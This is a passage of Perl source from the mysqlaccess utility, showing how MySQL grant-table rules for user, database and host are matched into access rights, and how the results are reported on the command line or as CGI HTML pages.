       %MySQLaccess::Grant::H = %{$h1}; @MySQLaccess::Grant::H = @{$h2};
       %MySQLaccess::Grant::D = %{$d1}; @MySQLaccess::Grant::D = @{$d2};
       %MySQLaccess::Grant::U = %{$u1}; @MySQLaccess::Grant::U = @{$u2};

       @MySQLaccess::Grant::Privileges=@{Make_Privlist()};

       MySQLaccess::Debug::Print(1, "Reading sorted tables:");
       @MySQLaccess::Grant::sorted_db_table  = MySQLaccess::DB::Sort_table($DB, 'ucase_host', 'user', 'db');
       @MySQLaccess::Grant::sorted_host_table= MySQLaccess::DB::Sort_table($HOST, 'ucase_host', 'db');
       @MySQLaccess::Grant::sorted_user_table= defined($MySQLaccess::Param{'password'}) ?
                           MySQLaccess::DB::Sort_table($USER, 'ucase_host', 'user', 'password'):
                           MySQLaccess::DB::Sort_table($USER, 'ucase_host', 'user');
    }

    return 0;
}

# ===========================================================
# sub Get_Access_Rights(host,user,db)
#  report the access_rights for the tuple ($host,$user,$db).
# ===========================================================
sub Get_Access_Rights {
  local ($host,$user,$db,$tmp) = @_;

   my $aref_user;
   my $aref_host;
   my $aref_db;
   # working with  temporary tables or production tables
   if (defined($tmp) and $tmp) {
      $aref_user = \@MySQLaccess::Grant::sorted_user_tmp_table;
      $aref_host = \@MySQLaccess::Grant::sorted_host_tmp_table;
      $aref_db   = \@MySQLaccess::Grant::sorted_db_tmp_table;   
   }
   else {
      $aref_user = \@MySQLaccess::Grant::sorted_user_table;
      $aref_host = \@MySQLaccess::Grant::sorted_host_table;
      $aref_db   = \@MySQLaccess::Grant::sorted_db_table; 
   }


  my ($refrecord,$refgrant);
  my ($_host_,$_user_,$encpw_);
  my %_Access_;

  MySQLaccess::Debug::Print(1, "for ($host,$user,$db):");  

  # ******************************************************************************
  # Create default access-rights
  #   default access-rights are no access at all!!


  # ******************************************************************************
  # get hostname for IP-address
  # get IP-address for hostname
  local $host_name = MySQLaccess::Host::IP2Name($host);
  local $host_ip   = MySQLaccess::Host::Name2IP($host);

  MySQLaccess::Debug::Print(3,"host=$host, hostname=$host_name, host-ip =$host_ip");
  MySQLaccess::Debug::Print(3,"user=$user");
  MySQLaccess::Debug::Print(3,"db  =$db");

  # ***********************************************************************
  # retrieve information on USER
  #  check all records in mysql::user for matches with the tuple (host,user)
  # ***********************************************************************
  #    4.OR (add) the privileges for the user from the "user" table.
  #     (add all privileges which is "Y" in "user")
  ($refrecord,$refgrant)    = Get_grant_from_user($host,$user,$aref_user);
  ($_host_,$_user_,$encpw_) = @{$refrecord};
  %_access_                 = %{$refgrant};

  foreach $field (keys(%U)) { ##only priv. set in user-table
    $MySQLaccess::Grant::Access{$field} = ($MySQLaccess::Grant::Access{$field} or $_access_{$field});
  }

  if ($_user_ eq $MySQLaccess::NEW_USER) { 
     push(@Warnings,'minimum_priv');
  }
  if ($_user_ ne $user) {
     $user=$_user_;
     push(@Warnings,'anonymous_access');
  }

  # *******************************************************
  #  Validate password if this has been asked to do
  # *******************************************************
  if (defined($password)) {
     $valid = Validate_Password($password,$_host_,$_user_,$_encpw_,$aref_user);
     if (!$valid) { push(@Errors,'invalid_password'); }
     else         { push(@Notes,'valid_password'); }
  }

  # ******************************************************************************
  # retrieve information on DB
  #  check all records in mysql::db for matches with the triple (host,db,user)
  #  first match is used.
  # ******************************************************************************
  #    2.Get grant for user from the "db" table.

  ($refrecord,$refgrant)=Get_grant_from_db($host,$db,$user,$aref_db); #set process_host_table
  ($_host_,$_user_,$encpw_) = @{$refrecord};
  %_access_                 = %{$refgrant};

  foreach $field (keys(%D)) { ##only priv. set in db-table
    $MySQLaccess::Grant::Access{$field} = ($MySQLaccess::Grant::Access{$field} or $_access_{$field});
  }

  # ***********************************************************************
  # retrieve information on HOST
  #  check all records in mysql::host for matches with the tuple (host,db)
  #
  #  ' The host table is mainly to maintain a list of "secure" servers. '
  # ***********************************************************************
  #    3.If hostname is "empty" for the found entry, AND the privileges with
  #      the privileges for the host in "host" table.
  #      (Remove all which is not "Y" in both)

  if ($MySQLaccess::Grant::process_host_table) {
     ($refrecord,$refgrant)=Get_grant_from_host($host,$db,$aref_host);
     ($_host_,$_user_,$encpw_) = @{$refrecord};
     %_access_                 = %{$refgrant};

     foreach $field (keys(%H)) {  ##only priv. set in host-table 
       $MySQLaccess::Grant::Access{$field} = ($MySQLaccess::Grant::Access{$field} and $_access_{$field});
     } 
  }

  MySQLaccess::Debug::Print(1,"done for ($host,$user,$db)");
  return %MySQLaccess::Grant::Access;
}

# ####################################
# FINDING THE RIGHT GRANT-RULE
# ==========================================================
# sub Get_grant_from_user:
# ==========================================================
sub Get_grant_from_user {
  my ($host,$user,$aref) = @_;

  MySQLaccess::Debug::Print(1, "");
  MySQLaccess::Debug::Print(1, "(host=$host,user=$user)");

  my %Access_user = %{Default_Access_Rights()}; 

  my $rule_found=0;
  my @record = ();
  my $record;

  foreach $record (@{$aref}) {
    $MySQLaccess::Grant::full_access=0;
    MySQLaccess::Debug::Print(3, "Record= $record");
    @record=split(/\t/,$record);

    # check host and db
    # with possible wildcards in field
    # replace mysql-wildcards by reg-wildcards
    my $host_tpl = MySQLaccess::Wildcards::SQL2Reg($record[0]);
    my $user_tpl = $record[1]; #user field isn't pattern-matched!!
    my $passwd   = $record[2];

    MySQLaccess::Debug::Print(3, "=>host_tpl : read=$record[0] -> converted=$host_tpl");
    MySQLaccess::Debug::Print(3, "=>user_tpl : read=$record[1] -> $user_tpl");
    MySQLaccess::Debug::Print(3, "=>password : read=$record[2] -> $passwd");


    if ( MySQLaccess::Host::MatchTemplate($host,$host_tpl) and
         MySQLaccess::Wildcards::MatchTemplate($user_tpl,$user)
       ) 
    {
  MySQLaccess::Debug::Print(2, "FOUND!!");
        if ($passwd eq '') { push(@Warnings,'insecure_user');  }
        else               { push(@Notes,'password_required'); }

        foreach $field (keys(%U)) {
          $Access_user{$field} = $MySQLaccess::Report::Answer{$record[$U{$field}]};
        }
        #print "\n" if $DEBUG;
        $MySQLaccess::Grant::Rules{'user'} = $record;
        $rule_found=1;
        last;
    }
  }

  # -------------------------------
  #  setting privileges to user-priv
  MySQLaccess::Debug::Print(2, "Rights after parsing user-table..:");
  if (! $rule_found ) {
     @record=();
     MySQLaccess::Debug::Print(2, "NO record found in the user-table!!");
  }
  else {
     MySQLaccess::Debug::Print(2, "Selected record=@record");
     MySQLaccess::Debug::Print(2, "<=?=> $record");
  }
 
  MySQLaccess::Debug::Print(1, "returning @record");

  return (\@record,\%Access_user); #matching record in user-table
}

# ==========================================================
# sub Get_grant_from_db:
# ==========================================================
sub Get_grant_from_db {
  my ($host,$db,$user,$aref) = @_;

  MySQLaccess::Debug::Print(1, "(host=$host,user=$user,db=$db)");

  my %Access_db    = %{Default_Access_Rights()};
  my $rule_found=0;

  foreach $record (@{$aref}) {
    $full_access=0;
    MySQLaccess::Debug::Print(2, "Read db: $record");
    @record=split(/\t/,$record);

    # check host and db
    # with possible wildcards in field
    # replace mysql-wildcards by reg-wildcards
    my $host_tpl = MySQLaccess::Wildcards::SQL2Reg($record[0]);
    my $db_tpl   = MySQLaccess::Wildcards::SQL2Reg($record[1]);
    my $user_tpl = $record[2]; #user field isn't pattern matched!!
    MySQLaccess::Debug::Print(3, "=>host_tpl : read=$record[0] -> converted=$host_tpl");
    MySQLaccess::Debug::Print(3, "=>db_tpl   : read=$record[1] -> $db_tpl");
    MySQLaccess::Debug::Print(3, "=>user_tpl : read=$record[2] -> $user_tpl");

    if ( ( MySQLaccess::Host::Is_localhost($host_tpl)
           or  MySQLaccess::Wildcards::MatchTemplate($host_tpl,$host_name)
           or  MySQLaccess::Wildcards::MatchTemplate($host_tpl,$host_ip) )
         and ( MySQLaccess::Wildcards::MatchTemplate($db_tpl,$db) )
         and ( MySQLaccess::Wildcards::MatchTemplate($user_tpl,$user) ) ) {
 
      $MySQLaccess::Grant::process_host_table = ($record[0] eq '');

      if ($user_tpl eq '') { push(@Warnings,'public_database'); }

      foreach $field (keys(%D)) {
        $Access_db{$field} = $MySQLaccess::Report::Answer{$record[$D{$field}]};
      }
      $rule_found=1;
      $MySQLaccess::Grant::Rules{'db'} = $record;
      last;
    }
  }

  # -------------------------------
  #  setting privileges to db-priv
  MySQLaccess::Debug::Print(2, "Rights after parsing db-table..:");
  if (! $rule_found ) {
    MySQLaccess::Debug::Print(2, "NO rule found in db-table => no access granted!!");
  }

  return (\@record,\%Access_db);
}

# ==========================================================
# sub Get_grant_from_host:
# ==========================================================
sub Get_grant_from_host {
  my ($host,$db,$aref) = @_;

  MySQLaccess::Debug::Print(1, "Get_grant_from_host()");

  my %Access_host = %{Default_Access_Rights()};

  # the host-table doesn't have to be processed if the host-field
  # in the db-table isn't empty
  if (!$MySQLaccess::Grant::process_host_table) {
    MySQLaccess::Debug::Print(2, ">> Host-table doesn't have to be processed!!");
    $MySQLaccess::Grant::Rules{'host'} = 'no_equiv_host';
    return ([],\%Access_host);
  }

  my $rule_found=0;
  my @record = ();

  foreach $record (@{$aref}) {
    $full_access=0;
    MySQLaccess::Debug::Print(2, "host: $record");
    @record=split(/\t/,$record);

    # check host and db
    # with possible wildcards in field
    # replace mysql-wildcards by reg-wildcards
    my $host_tpl = MySQLaccess::Wildcards::SQL2Reg($record[0]);
    my $db_tpl   = MySQLaccess::Wildcards::SQL2Reg($record[1]);
    MySQLaccess::Debug::Print(3, "=>host_tpl : $record[0] -> $host_tpl");
    MySQLaccess::Debug::Print(3, "=>db_tpl   : $record[1] -> $db_tpl");

    if ( ( MySQLaccess::Host::Is_localhost($host_tpl)
           or MySQLaccess::Wildcards::MatchTemplate($host_tpl,$host_name)
           or MySQLaccess::Wildcards::MatchTemplate($host_tpl,$host_ip) )
         and ( MySQLaccess::Wildcards::MatchTemplate($db_tpl,$db) ) ) {

      $MySQLaccess::Grant::Rules{'host'} = $record;
      $rule_found=1;
      foreach $field (keys(%H)) {
        $Access_host{$field} = $MySQLaccess::Report::Answer{$record[$H{$field}]};
      }
      last;
    }
  }

  # -------------------------------
  #  setting privileges to host-priv
  MySQLaccess::Debug::Print(2, "Rights after parsing host-table..:");
  if (! $rule_found ) {
     @record=();
     MySQLaccess::Debug::Print(2, "NO restrictions found in the host-table!!");
  }

  # --------------------------------
  # debugging access-rights in db 

  return (\@record,\%Access_host); #matching record in host-table
}



# ===========================================================
# sub Default_Access_Rights():
#  return (a reference to) a hash which holds all default
#  priviliges currently defined in the grant-tables.
# ===========================================================
sub Default_Access_Rights {
    my %right = ();

    MySQLaccess::Debug::Print(2, "Debug Default_Access_Rights():");
    # add entry for all fields in the HOST-table
    foreach $field (keys(%MySQLaccess::Grant::H)) {
	$right{$field}='0' unless (defined($right{$field}));
    }
    # add entry for all fields in the DB-table
    foreach $field (keys(%MySQLaccess::Grant::D)) {
	$right{$field}='0' unless (defined($right{$field}));
    }
    # add entry for all fields in the USER-table
    foreach $field (keys(%MySQLaccess::Grant::U)) {
	$right{$field}='0' unless (defined($right{$field}));
    }
    # --------------
    # debugging info
    foreach $field (keys(%right)) { MySQLaccess::Debug::Print(3, sprintf("> %15s : %1s",$field,$right{$field})); }

    return \%right;
}

# ======================================
# sub Make_Privlist
#  Make an ordered list of the privileges
#  that should be reported
# ======================================
sub Make_Privlist {
    # layout:
    #'select_priv',     'create_priv',
    #'insert_priv',     'drop_priv',
    #'update_priv',     'reload_priv',
    #'delete_priv',     'process_priv',
    #'file_priv',       'shutdown_priv');
    my $right;
    my @privlist=();
    foreach $right (@U) {
	if (! grep(/$right/,@privlist)) { push(@privlist,$right); }
    };
    foreach $right (@D) {
	if (! grep(/$right/,@privlist)) { push(@privlist,$right); }
    };
    foreach $right (@H) {
	if (! grep(/$right/,@privlist)) { push(@privlist,$right); }
    };
#       print "Privileges:\n";
#       foreach $field (@privlist) { print " > $field\n"; }
    return \@privlist;
}



########################################################################
package MySQLaccess::Report;
use Exporter ();
@EXPORT = qw(&Print_Header());
BEGIN {
    $FORM = $ENV{'SCRIPT_NAME'};
    $DEBUG     = 0;
    $DEBUG     = $MySQLaccess::DEBUG unless ($DEBUG);

    # translation-table for poss. answers
    %Answer =  ('Y' =>  1 , 'N' =>  0
               , 1  => 'Y',  0  => 'N'
               ,'?' => '?', ''  => '?'
               );
    $headers   = 0;
    $separator = 0;

# ****************************
# Notes and warnings
%MESSAGES = ( 
  'insecure_user' 
   => "Everybody can access your DB as user `\$user' from host `\$host'\n"
     ."WITHOUT supplying a password.\n"
     ."Be very careful about it!!"
 ,'password_required' 
   => "A password is required for user `\$user' :-("
 ,'invalid_password'
   => "The password '\$password' for user `\$user' is invalid :-P"
 , 'valid_password'
   => "You supplied the right password for user `\$user' :-)"
 ,'public_database' 
   => "Any user with the appropriate permissions has access to your DB!\n"
     ."Check your users!"
 ,'full_access' 
   => "All grant-tables are empty, which gives full access to ALL users !!"
 ,'no_rule_found'
   => "No matching rule"
 ,'no_equiv_host' 
   => "Not processed: host-field is not empty in db-table."
 ,'least_priv'
   => "If the final priveliges of the user are more then you gave the user,\n"
     ."check the priveliges in the db-table `\$db'."
 ,'minimum_priv'
   => "The privileges for any new user are AT LEAST\n"
     ."the ones shown in the table above,\n"
     ."since these are the privileges of the db `\$db'.\n"
 ,'not_found_mysql'
   => "The MySQL client program <$MySQLaccess::MYSQL> could not be found.\n"
     ."+ Check your path, or\n"
     ."+ edit the source of this script to point \$MYSQL to the mysql client.\n"
 ,'not_found_mysqldump'
   => "The MySQL dump program <$MySQLaccess::MYSQLDUMP> could not be found.\n"
     ."+ Check your path, or\n"
     ."+ edit the source of this script to point \$MYSQLDUMP to the mysqldump program.\n"
 ,'not_found_diff'
   => "The diff program <$MySQLaccess::DIFF> could not be found.\n"
     ."+ Check your path, or\n"
     ."+ edit the source of this script to point \$DIFF to the diff program.\n"
 ,'Unrecognized_option'
   => "Sorry,\n"
     ."You are using an old version of the mysql-program,\n"
     ."which does not yet implement a neccessary option.\n"
     ."\n"
     ."You need at least Version 6.2 of the mysql-client,\n"
     ."which was build in MySQL v3.0.18, to use this version\n"
     ."of `$MySQLaccess::script'."
 ,'Access_denied'
   => "Sorry,\n"
     ."An error occurred when trying to connect to the database\n"
     ."with the grant-tables:\n"
     ."* Maybe YOU do not have READ-access to this database?\n"
     ."* If you used the -U option, you may have supplied an invalid username?\n"
     ."  for the superuser?\n"
     ."* If you used the -U option, it may be possible you have to supply\n"
     ."  a superuser-password to, with the -P option?\n"
     ."* If you used the -P option, you may have supplied an invalid password?\n"
 ,'Dbaccess_denied'
   => "Sorry,\n"
     ."An error occurred when trying to connect to the database\n"
     ."with the grant-tables. (dbaccess denied)\n"
 ,'Unknown_tmp_table'
   => "Sorry,\n"
     ."An error occurred when trying to work with the temporary tables in the database\n"
     ."with the grant-tables. (One of the temporary tables does not exist)\n"
 ,'Unknown_table'
   => "Sorry,\n"
     ."An error occurred when trying to work with some tables in the database\n"
     ."with the grant-tables. (table does not exist)\n"
 ,'use_old_server'
   => "Sorry,\n"
     ."An error occurred when executing an SQL statement.\n"
     ."You might consider altering the use of the parameter `--old_server' when \n"
     ."calling `$MySQLaccess::script'."
 ,'unknown_error'
   => "Sorry,\n"
     ."An error occurred when trying to connect to the database\n"
     ."with the grant-tables. (unknown error)\n"
 ,'anonymous_access'
   => "Accessing the db as an anonymous user.\n"
     ."Your username has no relevance\n"
 ,'user_required'
   => "You have to supply a userid."
 ,'db_required'
   => "You have to supply the name of a database."
 ,'host_required'
   => "You have to supply the name of a host."
 );


} 
# =====================================
# sub Print_Header:
#  print header info
# =====================================
sub Print_Header {
    if ($MySQLaccess::CMD) { #command-line mode
    print "$MySQLaccess::script Version $MySQLaccess::VERSION\n"
         ."By RUG-AIV, by Yves Carlier (Yves.Carlier\@rug.ac.be)\n"
         ."Changes by Steve Harvey (sgh\@vex.net)\n"
         ."This software comes with ABSOLUTELY NO WARRANTY.\n";
    }
    if ($MySQLaccess::CGI) { #CGI-BIN mode
    print "content-type: text/html\n\n" 
       . "<HTML>\n"
         ."<HEAD>\n"
         ."<TITLE>MySQLaccess</TITLE>\n"
         ."</HEAD>\n"
         ."<BODY>\n"
         ."<H1>$MySQLaccess::script Version $MySQLaccess::VERSION</H1>\n" 
         ."<CENTER>\n<ADDRESS>\n"
         ."By RUG-AIV, by Yves Carlier (<a href=mailto:Yves.Carlier\@rug.ac.be>Yves.Carlier\@rug.ac.be</a>)<BR>\n"
         ."Changes by Steve Harvey (<a href=mailto:sgh\@vex.net>sgh\@vex.net</a>)<BR>\n"
         ."This software comes with ABSOLUTELY NO WARRANTY.<BR>\n"
         ."</ADDRESS>\n</CENTER>\n"
         ."<HR>\n";
    Print_Taskbar();
    print "<HR>\n";
    }
    return 1;
}

# =====================================
# sub Print_Footer:
#  print footer info
# =====================================
sub Print_Footer {
    if ($MySQLaccess::CMD) { #command-line mode
    print "\n"
         ."BUGs can be reported at https://jira.mariadb.org\n";
    }
    if ($MySQLaccess::CGI) { #CGI-BIN mode
    if ($MySQLaccess::Param{'brief'}) {
    print "</table>\n";  #close table in brief-output
    }
    print "<HR>\n"
         ."<ADDRESS>\n"
         ."BUGs can be reported at <a href=\"https://jira.mariadb.org\">MariaDB JIRA</a><BR>\n"
#         ."Don't forget to mention the version $VERSION!<BR>\n"
         ."</ADDRESS>\n"
         ."</BODY>\n"
         ."</HTML>\n";
    }
    return 1;
}

# =====================================
# sub Print_Taskbar:
#  print taskbar on STDOUT
# =====================================
sub Print_Taskbar {
    print "<CENTER>\n"
         ."[<a href=$FORM?relnotes=on>Release&nbsp;Notes</a>] \n"
         ."[<a href=$FORM?version=on>Version</a>] \n"
         ."[<a href=$FORM?plan=on>Future&nbsp;Plans</a>] \n"
         ."[<a href=$FORM?howto=on>Examples</a>] \n"
         ."[<a href=$FORM?help=on>New check</a>] \n"
         ."[<a href=$FORM?edit=on>Change/edit ACL</a>] \n"
         ."</CENTER>\n";
    return 1;
}

# =====================================
# sub Print_Form:
#  print CGI-form
# =====================================
sub Print_Form {
print <<EOForm;
<center>
<!-- Quering -->
<FORM method=POST action=$FORM>

<table border width="100%" >
<tr>
  <th>MySQL server</th>
  <th>User information</th>
  <th>Reports</th>
  </tr>

<tr>
  <td valign=top>
  <table>
  <tr>
    <td halign=right><b>Host</b><br><font size=-2>(Host on which MySQL-server resides.)</font></td>
    <td valign=top><INPUT name=rhost type=text size=15 maxlength=15 value="$MySQLaccess::Param{'rhost'}"></td>
    </tr>
  <tr>
    <td halign=right><b>Superuser</b><br><font size=-2>(User which has <font color="Red">read-access</font> to grant-tables.)</font></td>
    <td valign=top><INPUT name=superuser type=text size=15 maxlength=15 value="$MySQLaccess::Param{'superuser'}"></td>
    </tr>
  <tr>
    <td halign=right><b>Password</b><br><font size=-2>(of Superuser.)</font></td>
    <td valign=top><INPUT name=spassword type=password size=15 maxlength=15 value="$MySQLaccess::Param{'spassword'}"></td>
    </tr>
  </table>
  </td>

  <td valign=top>
  <table>
  <tr>
    <td halign=right><b><font color=Red>User</font></b><br><font size=-2>(Userid used to connect to MySQL-database.)</font></td>
    <td halign=top><INPUT name=user type=text size=15 maxlength=15 value="$MySQLaccess::Param{'user'}"></td>
    </tr>
  <tr>
    <td halign=right><b>Password</b><br><font size=-2>(Password user has to give to get access to MySQL-database.)</font></td>
    <td valign=top><INPUT name=password type=password size=15 maxlength=15 value="$MySQLaccess::Param{'password'}"></td>
    </tr>
  <tr>
    <td halign=right><b><font color=Red>Database</font></b><br><font size=-2>(Name of MySQL-database user tries to connect to.</font><br><font size=-2>Wildcards <font color="Green">(*,?,%,_)</font> are allowed.)</font></td>
    <td valign=top><INPUT name=db type=text size=15 maxlength=15 value="$MySQLaccess::Param{'db'}"></td>
    </tr>
  <tr>
    <td halign=right><b>Host</b><br><font size=-2>(Host from where the user is trying to connect to MySQL-database.</font><br><font size=-2>Wildcards <font color="Green">(*,?,%,_)</font> are allowed.)</font></td>
    <td valign=top><INPUT name=host type=text size=15 maxlength=15 value="$MySQLaccess::Param{'host'}"></td>
    </tr>
  </table>
  </td>

  <td valign=center>
  <table cellspacing=5 cellpadding=2 cols=1 height="100%">
  <tr align=center>
    <td halign=right><INPUT type=submit name=brief value="Brief"><br>
                     <INPUT type=submit name=table value="Tabular"></td>
    </tr>
  <tr align=center>
    <td></td>
    </tr>
  <tr align=center>
    <td halign=right><INPUT type=reset value="Clear"></td>
    </tr>
  </table>
  </td>
  </tr>

</table>
</form>


</BODY>
</HTML>
EOForm
    return 1;
}

# =====================================
# sub Print_Usage:
#  print some information on STDOUT
# =====================================
sub Print_Usage {
    Print_Error_Messages();
    if ($MySQLaccess::CMD) { #command-line mode
        Print_Options();
    }
    if ($MySQLaccess::CGI) { #CGI-BIN mode
        Print_Form();
    }    
    return 1;
}

# ======================================
# sub Print_Version:
# ======================================
sub Print_Version {
    if ($MySQLaccess::CMD) {
       print $MySQLaccess::INFO;
    }
    if ($MySQLaccess::CGI) { 
       print "<PRE>\n"; 
       print $MySQLaccess::INFO;
       print "</PRE>\n"; 
    }
    return 1;
}

# ======================================
# sub Print_Relnotes:
# ======================================
sub Print_Relnotes {
    if ($MySQLaccess::CMD) {
       print $MySQLaccess::RELEASE;
    }
    if ($MySQLaccess::CGI) { 
       print "<PRE>\n";
       print $MySQLaccess::RELEASE;
       print "</PRE>\n"; 
    }
    return 1;
}

# ======================================
# sub Print_Plans:
# ======================================
sub Print_Plans {
    if ($MySQLaccess::CMD) {
       print $MySQLaccess::TODO;
    }
    if ($MySQLaccess::CGI) { 
       print "<PRE>\n";
       print $MySQLaccess::TODO;
       print "</PRE>\n"; 
    }
    return 1;
}

# ======================================
# sub Print_HowTo:
# ======================================
sub Print_HowTo {
    if ($MySQLaccess::CMD) {
       print $MySQLaccess::HOWTO;
    }
    if ($MySQLaccess::CGI) { 
       print "<PRE>\n"; 
       print $MySQLaccess::HOWTO;
       print "</PRE>\n"; 
    }
    return 1;
}

# ======================================
# sub Print_Options:
# ======================================
sub Print_Options {
    if ($MySQLaccess::CGI) { print "<PRE>\n"; }
    print $MySQLaccess::OPTIONS;
    if ($MySQLaccess::CGI) { print "</PRE>\n"; }
    return 1;
}

# ======================================
# sub Print_Error_Access:
# ======================================
sub Print_Error_Access {
    my ($error) = @_;
    print "\n";
    if ($MySQLaccess::CGI) { print "<font color=Red>\n<PRE>\n"; }
    print $MESSAGES{$error};
    if ($MySQLaccess::CGI) { print "</PRE>\n</font>\n"; }
    print "\n";
    return 1;
}

# ======================================
# sub Print_Error_Messages:
# ======================================
sub Print_Error_Messages {
#    my ($error) = @_;
    print "\n";
    if ($MySQLaccess::CGI) { print "<font color=Red>\n<center>\n"; }
    foreach $error (@MySQLaccess::Grant::Error) {
       print $MESSAGES{$error};
       print $MySQLaccess::CGI ? "<br>\n" : "\n";
    }
    if ($MySQLaccess::CGI) { print "</center>\n</font>\n"; }
    print "\n";
    return 1;
}

# ======================================
# sub Print_Message:
# ======================================
sub Print_Message {
    my ($aref) = @_;
    my @messages = @{$aref};
    print "\n";
    if ($MySQLaccess::CGI) { print "<font color=DarkGreen>\n<center>\n"; }
    foreach $msg (@messages) {
       print $msg;
       print $MySQLaccess::CGI ? "<br>\n" : "\n";
    }
    if ($MySQLaccess::CGI) { print "</center>\n</font>\n"; }
    print "\n";
    return 1;
}

# ======================================
# sub Print_Edit:
# ======================================
sub Print_Edit {
    print "\n";
    if (!$MySQLaccess::CGI) { 
       print "Note: Editing the temporary tables is NOT supported in CMD-line mode!\n";
       return 0;
    }
    print "<CENTER>\n"
         ."<form action=$FORM method=GET>\n"
         ."<table width=90% border>\n"
         ."<tr>\n"
         ." <td><input type=checkbox name=copy value=on> Copy grant-rules to temporary tables<br></td>\n"
         ." <td rowspan=5 align=center valign=center><input type=submit value=Go></td>\n"
         ."</tr>\n"
         ."<tr>\n"
         ." <td> Edit temporary tables with external application:<br>"
         ." <a href=\"$MySQLaccess::MYSQLADMIN\">$MySQLaccess::MYSQLADMIN</a></td>\n"
         ."</tr>\n"
         ."<tr>\n"
         ." <td><input type=checkbox name=preview value=on> Preview changes made in temporary tables</td>\n"
         ."</tr>\n"
         ."<tr>\n"
         ." <td><input type=checkbox name=commit value=on> Make changes permanent</td>\n"
         ."</tr>\n"
         ."<tr>\n"
         ." <td><input type=checkbox name=rollback value=on> Restore previous grand-rules</td>\n"
         ."</tr>\n"
         ."<tr>\n"
         ." <td colspan=2 align=center><font size=-2 color=Red>You need write,delete and drop-privileges to perform the above actions</font></td>\n"
         ."</tr>\n"
         ."</table>\n"
         ."</form>\n"
         ."</CENTER>\n";

    return 1;
}


# ======================================
# sub Print_Access_rights:
#  print the access-rights on STDOUT
# ======================================
sub Print_Access_rights {
    my ($host,$user,$db,$refhash) = @_;

    if (defined($MySQLaccess::Param{'brief'})) { 
#       if ($MySQLaccess::CGI) { print "<PRE>\n"; }
       Matrix_Report($host,$user,$db,$refhash);  
#       if ($MySQLaccess::CGI) { print "</PRE>\n"; }
    }
    else { 
       Tabular_Report($host,$user,$db,$refhash); 
       $MySQLaccess::Report::separator = $MySQLaccess::CGI ? "<hr>" : "-"x80;
    }
    return 1;
}

# ======================================
# sub Print_Diff_ACL:
#  print the diff. in the grants before and after
# ======================================
sub Print_Diff_ACL {
    my ($aref) = @_;
    my @diffs = @{$aref};
    my %block = ( '<' => 'Before',
                  '>' => 'After',
                );
    my %color = ( '<' => 'Green',
                  '>' => 'Red',
                ); 
    my $curblock = '';

    # -----------------------------
    # create column-headers
    foreach $field (@MySQLaccess::Grant::Privileges) {
      push(@headers,substr($field,0,4));
    }

    if ($MySQLaccess::CMD) {
    print "\n";
    print "Differences in access-rights BEFORE and AFTER changes in grant-tables\n";
#    print "---------------------------------------------------------------------\n";
      my $line1="";
      my $line2="";
      $line1 .= sprintf("| %-30s|",'Host,User,DB');
      $line2 .= sprintf("+-%-30s+",'-' x 30);
      foreach $header (@headers) {
        $line1 .= sprintf("%-4s|",$header);
        $line2 .= sprintf("%s+",'----');
      }
      print "$line2\n";
      print "$line1\n";
      print "$line2\n";

      $format = "format STDOUT = \n"
              . "^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< " . " @|||" x 10 ."\n"
              . '$host_user_db,@priv' . "\n"
              . ".\n";
#print $format;
      eval $format;
    }
    if ($MySQLaccess::CGI) {
    print "<table border width=100%>\n";
    print "<tr>\n";
    print "<th colspan=11>";
    print "Differences in access-rights <font color=$color{'<'}>BEFORE</font> "
         ."and <font color=$color{'>'}>AFTER</font> changes to grant-tables</font>\n";
    print "</th>";
    print "</tr>\n";
    print "<tr>\n";    
    $line1 .= sprintf("<th>%-20s</th>",'Host, User, DB');
    foreach $header (@headers) {
      $line1 .= sprintf("<th>%-4s</th>",$header);
    }
    print "$line1</tr>\n";
    }

    foreach $line (@diffs) {
        $type = substr($line,0,1);
        $line = substr($line,1);
        ($host,$user,$db,@priv) = split(/,/,$line);
        if ($MySQLaccess::CMD) {
           if ($type ne $curblock) {
              $curblock = $type;
              print $block{$curblock},":\n";
           }
           #print "$line\n";
           write;
        }
        if ($MySQLaccess::CGI) {
           if ($type ne $curblock) {
              $curblock = $type;
              print "<tr><td><b>$block{$curblock}<b></td></tr>\n";
           }
           $line1="<td><font color=$color{$type}>$host, $user, $db</font></td>";
           foreach $field (@priv) {
              $line1 .= sprintf("<td align=center><font color=$color{$type}>%-4s</font></td>",$field);
           }
           print "<tr>$line1</tr>\n";
        }
    }
    print      "\n";
    if ($MySQLaccess::CMD) {
    print "---------------------------------------------------------------------\n";
    }
    if ($MySQLaccess::CGI) {
    print      "</table><br>";
    }


    return 1;
}

# ======================================
# sub Tabular_Report
#  Tabular report,
#  suitable for 1 triple (host,db,user)
# ======================================
sub Tabular_Report {
    my ($host,$user,$db,$a) = @_;
    my $column=2;

    # -----------------------------
    # separator
    if ($MySQLaccess::Report::separator) { print "$MySQLaccess::Report::separator\n"; }
    
    # -----------------------------
    # print table of access-rights
    my $rows = int(@MySQLaccess::Grant::Privileges/2);  #round up
    my @table=();
    $j=0;
    for $i (0 .. $rows-1) {
      $table[$j]=$MySQLaccess::Grant::Privileges[$i];
      $j = $j+2;
    }
    $j=1;
    for $i ($rows .. $#MySQLaccess::Grant::Privileges) {
      $table[$j]=$MySQLaccess::Grant::Privileges[$i];
      $j = $j+2;
    }
    if ($MySQLaccess::CMD) {
    print "\n";
    print "Access-rights\n";
    print "for USER '$user', from HOST '$host', to DB '$db'\n";
    }
    if ($MySQLaccess::CGI) {
    print "<table border width=100%>\n";
    print "<tr>\n";
    }
    if ($MySQLaccess::CGI) {
    print "<th colspan=5>";
    print "<font color=Red>Access-rights</font>\n";
    print "for USER '<font color=Green>$user</font>', from HOST '<font color=Green>$host</font>', to DB '<font color=Green>$db</font>'\n";
    print "</th>";
    print "</tr>\n";
    print "<tr>\n";
    }
    if ($MySQLaccess::CMD) {
    print      "\t+-----------------+---+\t+-----------------+---+";
    }
    foreach $field (@table) {
        if ($MySQLaccess::CMD) {
          if ($column==2) { print "\n\t"; $column=1;}
          else            { print "\t";   $column=2;}
          printf "| %-15s | %s |",$field,$Answer{$a->{$field}}; 
        }
        if ($MySQLaccess::CGI) {
          if ($column==2) { print "</tr>\n<tr>\n"; $column=1;}
          else            { print "<td width=10%></td>";   $column=2;}
          printf " <td width=35%><b>%-15s</b></td><td width=10%>%s</td>\n",$field,$Answer{$a->{$field}}; 
        }
    }
    print      "\n";
    if ($MySQLaccess::CMD) {
    print      "\t+-----------------+---+\t+-----------------+---+\n";
    }
    if ($MySQLaccess::CGI) {
    print      "</tr>\n</table><br>";
    }

    # ---------------
    # print notes:
    foreach $note (@MySQLaccess::Grant::Notes) {
      my $message = $MESSAGES{$note};
      $message =~ s/\$user/$user/g; 
      $message =~ s/\$db/$db/g;
